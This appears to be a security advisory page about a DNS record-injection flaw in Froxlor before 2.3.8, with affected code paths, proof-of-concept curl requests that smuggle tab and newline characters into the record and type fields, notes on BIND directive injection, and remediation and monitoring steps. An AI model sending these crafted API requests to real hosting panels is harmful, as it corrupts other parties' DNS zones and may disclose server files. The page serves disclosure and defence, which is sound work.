Listen to this Post
Froxlor is open source server administration software. Prior to version 2.3.8, the `DomainZones.add` API command in `lib/Froxlor/Api/Commands/DomainZones.php` accepts user-controlled DNS record and type values and later writes them into generated BIND zone files without rejecting line delimiters, tab characters, semicolons, or unsupported DNS record types before `lib/Froxlor/Dns/DnsEntry.php` serializes the values into a BIND zone file.
The stronger variant exists in the `record` field. An authenticated customer with DNS-zone permissions can submit a normal A record request where `record` is `www\t60\tIN\tA\t6.6.6.6 ;\n@` with `type=A` and content=127.0.0.1. The current record flow trims, lower-cases, and IDNA-encodes the value, but does not reject CR/LF/HTAB or semicolon.
The `Froxlor\Dns\DnsEntry::__toString()` sink (line 83 of lib/Froxlor/Dns/DnsEntry.php) renders the injected payload as:
www 60 in a 6.6.6.6 ; @ 18000 IN A 127.0.0.1
BIND accepts the generated zone file. Both `named-checkzone` and `named-compilezone -D` confirm both records are parsed as real DNS RRs.
Affected code paths in version 2.3.7:
– `lib/Froxlor/Api/Commands/DomainZones.php:92-93` reads record/type from API params
– `lib/Froxlor/Api/Commands/DomainZones.php:122-136` trims/lower-cases/IDNA-encodes `record` without control-character rejection
– `lib/Froxlor/Api/Commands/DomainZones.php:157-160` hardens `content` only
– `lib/Froxlor/Api/Commands/DomainZones.php:314-321` and `347-357` store record/type/content into `domain_dns_entries`
– `lib/Froxlor/Dns/Dns.php:297` passes stored values to `DnsEntry`
– `lib/Froxlor/Dns/DnsEntry.php:83` concatenates record/type/content into a zone-file line
There is also a related type-field variant because `type` is not allowlisted and `domain_dns_entries.type` is varchar(10). The value `NS\tns.\n@\tA` renders one submitted entry as multiple zone-file records.
Impact: An authenticated customer with DNS-zone permissions can inject additional BIND resource-record lines into the generated zone file for a domain they can manage in Froxlor, bypassing Froxlor’s DNS field-level validation. This results in DNS zone integrity loss and possible DNS availability impact within the caller’s manageable zone.
Suggested remediation: allowlist DNS RR types, reject CR/LF/HTAB/control chars/spaces/semicolon in `record` and type, validate `record` as a DNS owner name while allowing intended cases such as @, , `.label`, `_service._proto`, `_dmarc`, and DKIM selectors. Add defense-in-depth in `DnsEntry` or the DNS serializer so CR/LF cannot reach generated zone lines.
<h2 style="color: blue;">Attribution: Yaohui Wang.</h2>
<h2 style="color: blue;">DailyCVE Form</h2>
Platform: Froxlor
Version: <2.3.8
Vulnerability: DNS zone-file RR injection
Severity: Medium (CVSS 5.4)
date: 2026-08-18
<h2 style="color: blue;">Prediction: Patch expected 2026-08-25</h2>
<h2 style="color: blue;">What Undercode Say</h2>
<h2 style="color: blue;">Analytics based on the vulnerability analysis:</h2>
Check Froxlor version cat lib/froxlor/version.inc.php | grep VERSION Check if DomainZones.php contains vulnerable code grep -n "hardens content only" lib/Froxlor/Api/Commands/DomainZones.php grep -n "TODO regex validate" lib/Froxlor/Api/Commands/DomainZones.php Review DnsEntry::__toString() sink cat lib/Froxlor/Dns/DnsEntry.php | grep -A 5 "__toString" Check for unsanitized type field grep -n "domain_dns_entries.type" lib/Froxlor/Api/Commands/DomainZones.php Verify bind zone files for injected entries cat /etc/bind/domains/example.com.zone | grep -E "(;\n|\t\n)"
<h2 style="color: blue;">Exploit (Educational Purposes!)</h2>
<h2 style="color: blue;">PoC via API (authenticated customer with DNS-zone permissions):</h2>
Inject additional A record via record field
curl -s -u "API_KEY:API_SECRET" \
-H 'Content-Type: application/json' \
-d '{
"command":"DomainZones.add",
"params":{
"domainname":"example.com",
"type":"A",
"record":"www\t60\tIN\tA\t6.6.6.6 ;\n@",
"content":"127.0.0.1"
}
}' \
https://panel.example.com/api.php
Type-field variant - inject via unsupported type
curl -s -u "API_KEY:API_SECRET" \
-H 'Content-Type: application/json' \
-d '{
"command":"DomainZones.add",
"params":{
"domainname":"example.com",
"type":"NS\tns.\n@\tA",
"content":""
}
}' \
https://panel.example.com/api.php
Web UI interception: Intercept the DNS editor form POST and set `dns_record` to `www\t60\tIN\tA\t6.6.6.6 ;\n@` and `dns_type` to `A`.
Verify injection: After the DNS rebuild cron runs, check the generated zone file:
named-checkzone example.com /etc/bind/domains/example.com.zone named-compilezone -D example.com /etc/bind/domains/example.com.zone
<h2 style="color: blue;">Protection</h2>
<h2 style="color: blue;">1. Upgrade Froxlor to version 2.3.8 or later.</h2>
2. If immediate upgrade is not possible, apply the following patches:
- Allowlist DNS RR types: Reject any `type` value not in a predefined allowlist (A, AAAA, CNAME, MX, NS, TXT, SOA, SRV, etc.)
- Sanitize `record` field: Reject CR (`\r`), LF (`\n`), HTAB (`\t`), semicolon (`;`), spaces, and other control characters
- Sanitize `type` field: Apply same character rejection as `record`
- Validate `record` as DNS owner name: Allow only `@`,, .label, _service._proto, _dmarc, and DKIM selectors
3. Defense-in-depth in `lib/Froxlor/Dns/DnsEntry.php`:
// Add sanitization in __toString() or the serializer
$record = preg_replace('/[\r\n\t;]/', '', $this->record);
$type = preg_replace('/[\r\n\t;]/', '', $this->type);
4. Monitor zone files for unexpected entries:
Alert on control characters in zone files grep -P "[\r\n\t;]" /etc/bind/domains/.zone
Impact
- DNS Zone Integrity Loss: An authenticated customer can inject arbitrary DNS records into a zone they manage, bypassing Froxlor’s field-level validation
- DNS Availability Impact: Malformed or conflicting DNS records can cause BIND to fail loading the zone, resulting in DNS outage for the affected domain
- BIND Directive Injection: Attackers can inject
$INCLUDE,$ORIGIN, or `$GENERATE` directives, potentially reading world-readable files on the server (information disclosure) - Scope: Limited to zones the authenticated customer is authorized to manage (privilege required: LOW)
- CVSS Score: 5.4 (MEDIUM) – Network attack vector, low complexity, low privileges required, no user interaction, low integrity and availability impact
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
